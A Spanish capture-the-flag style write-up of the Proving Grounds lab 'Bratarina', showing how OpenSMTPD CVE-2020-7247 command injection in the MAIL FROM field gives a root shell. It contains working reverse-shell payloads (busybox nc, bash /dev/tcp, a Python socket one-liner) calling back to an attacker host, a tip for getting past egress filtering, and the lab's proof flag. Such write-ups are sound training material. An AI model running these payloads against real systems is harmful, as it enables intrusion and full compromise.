the_open_door
café
ESEN

Bratarina

Proving Grounds PracticeFácilLinux192.168.172.71

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#opensmtpd#cve-2020-7247#smtp#command-injection#rce-as-root#egress-filtering#busybox#oscp
TL;DR. Bratarina es directa: el puerto 25 corre OpenSMTPD vulnerable a CVE-2020-7247, una inyección de comandos en la dirección MAIL FROM que ejecuta como root porque el demonio corre con ese usuario. El detalle práctico está en elegir bien el payload: la shell de bash con >& la rechaza el propio SMTP, y un retorno por el 4444 no vuelve por el filtrado de salida. Con busybox nc hacia un puerto permitido (el 80) la reverse shell entra como root a la primera, sin escalada.

Reconocimiento

Escaneo inicial

El TTL de la respuesta es 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

ping -c 1 192.168.172.71
64 bytes from 192.168.172.71: icmp_seq=1 ttl=61 time=29.2 ms

Barremos todos los puertos TCP y detectamos versiones sobre los abiertos:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.172.71
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
445/tcp open  netbios-ssn
nmap -p22,25,80,445 -sCV 192.168.172.71 -oN targetedScan
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
25/tcp  open  smtp        OpenSMTPD
| smtp-commands: bratarina Hello 192.168.172.71 [192.168.45.239], pleased to meet you, 8BITMIME, ENHANCEDSTATUSCODES, SIZE 36700160, DSN, HELP
|_ 2.0.0 This is OpenSMTPD 2.0.0 ...
80/tcp  open  http        nginx 1.14.0 (Ubuntu)
|_http-title:         Page not found - FlaskBB
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: COFFEECORP)
Service Info: Host: bratarina; OS: Linux

Cuatro servicios. El nginx del 80 sirve un FlaskBB que devuelve "Page not found" y el Samba del 445 no expone nada interesante con sesión nula. Lo llamativo es el SMTP del puerto 25: ver un servidor de correo en una máquina de laboratorio casi siempre significa que el vector está ahí.

SMTP - TCP 25

El servicio se identifica como OpenSMTPD. Esa pista basta para buscar exploits conocidos:

searchsploit OpenSMTPD
Exploit Title                                          |  Path
-------------------------------------------------------|---------------------------
OpenSMTPD 6.6.1 - Remote Code Execution                |  linux/remote/47984.py

El exploit cubre CVE-2020-7247, un fallo en la rutina que valida la dirección del remitente (smtp_mailaddr). Lo copiamos en local:

searchsploit -m linux/remote/47984.py

Shell como root

OpenSMTPD < 6.6.1 RCE (CVE-2020-7247)

La vulnerabilidad es una inyección de comandos: OpenSMTPD construye la orden de entrega local interpolando la parte local de la dirección MAIL FROM y la ejecuta vía /bin/sh -c, sin sanearla. Como el demonio corre como root, cualquier comando que coloquemos ahí se ejecuta con ese privilegio. El exploit recibe el comando a inyectar como tercer argumento.

Por dentro, 47984.py no hace magia: abre el 25, habla SMTP y mete el comando en la parte local de MAIL FROM, entre ;. Es reproducible a mano con nc 192.168.172.71 25 (útil si el script deja de funcionar); esta es la conversación que automatiza con el payload que acaba entrando:

HELO x
250 bratarina Hello x ...
MAIL FROM:<;busybox nc 192.168.45.239 80 -e sh;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid
DATA
354 Enter mail, end with "." on a line by itself
#
.

El ; cierra la orden de entrega que arma OpenSMTPD y busybox nc ... -e sh queda como comando suelto que /bin/sh -c ejecuta como root. El cuerpo del DATA (una línea con # y el punto final) solo sirve para que el servidor procese el mensaje y dispare la entrega.

El primer payload natural, una reverse shell de bash, lo rechaza el propio SMTP: el carácter & no es válido en ese contexto y el servidor responde con un 503.

python3 47984.py 192.168.172.71 25 'bash -i >& /dev/tcp/192.168.45.239/4444 0>&1'
[*] OpenSMTPD detected
[*] Connected, sending payload
[!] Error sending payload, expected 250
[!] Received: b'503 5.5.4 Invalid command arguments: Unsupported option &\r\n'

Reescribimos el payload sin metacaracteres conflictivos usando busybox nc. El primer intento, hacia el 4444, no devuelve conexión: igual que en otras cajas de esta tanda, la máquina filtra la salida.

Intento con busybox nc hacia el puerto 4444 que no recibe conexion en el listener

Cambiamos el puerto de retorno a uno permitido (el 80, que la máquina tiene abierto). Con Penelope a la escucha en el 80:

penelope 80

Reenviamos el payload y la shell entra:

python3 47984.py 192.168.172.71 25 'busybox nc 192.168.45.239 80 -e sh'

Penelope recibe la reverse shell desde bratarina y whoami devuelve root

# python3 47984.py 192.168.172.71 25 'busybox nc 192.168.45.239 80 -e sh'
[*] OpenSMTPD detected
[*] Connected, sending payload
[*] Payload sent
[*] Done

[+] Got reverse shell from bratarina~192.168.172.71-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
root@bratarina:~# whoami
root

El demonio corre como root, así que la shell nace directamente como root: no hay escalada que hacer. El mismo resultado se consigue con un one-liner de Python escapando las comillas, esta vez por el 445. Con nc a la escucha en el 445:

nc -nlvp 445
python3 47984.py 192.168.172.71 25 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.45.239\",445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn(\"/bin/bash\")"'

Reverse shell de Python recibida por nc en el 445, whoami root en bratarina

# nc -nlvp 445
listening on [any] 445 ...
connect to [192.168.45.239] from (UNKNOWN) [192.168.172.71] 53880
root@bratarina:~# whoami
root

Ambas variantes llegan como root (el nc del 445 confirma la conexión desde 192.168.172.71).

cat /root/proof.txt

proof.txt leido como root, con whoami root, hostname bratarina y la IP

f5f76a001d6204dc0feb5122e9551a87

Cadena de ataque

OpenSMTPD (SMTP 25), corriendo como root
        │  CVE-2020-7247: inyeccion de comando en MAIL FROM
        │  payload sin '&' (busybox nc) + puerto de retorno abierto (80)
        ▼
reverse shell como root  (proof.txt)

Lecciones aprendidas

  • Un servicio que corre como root convierte una RCE en root directo. OpenSMTPD ejecuta la entrega local como root; por eso CVE-2020-7247 no necesita escalada posterior. Ejecutar los demonios con el mínimo privilegio y delegar la entrega a un usuario sin permisos limita el alcance de un fallo así.
  • El payload tiene que sobrevivir al protocolo. La shell de bash falló no por la vulnerabilidad, sino porque & no es válido en la dirección SMTP. Adaptar el comando (busybox nc, Python con comillas escapadas) es parte del trabajo cuando el canal de inyección filtra caracteres.
  • El filtrado de salida vuelve a marcar el puerto de retorno. El 4444 no devolvía conexión; el 80 sí. Apuntar la reverse shell a un puerto que la máquina ya tiene abierto evita ese control.
  • Parchear a tiempo. CVE-2020-7247 se corrigió en OpenSMTPD 6.6.2 (enero de 2020); mantener el MTA al día habría cerrado el único camino de entrada de la caja.
Cheatsheet de comandos 6 comandos

Repaso rápido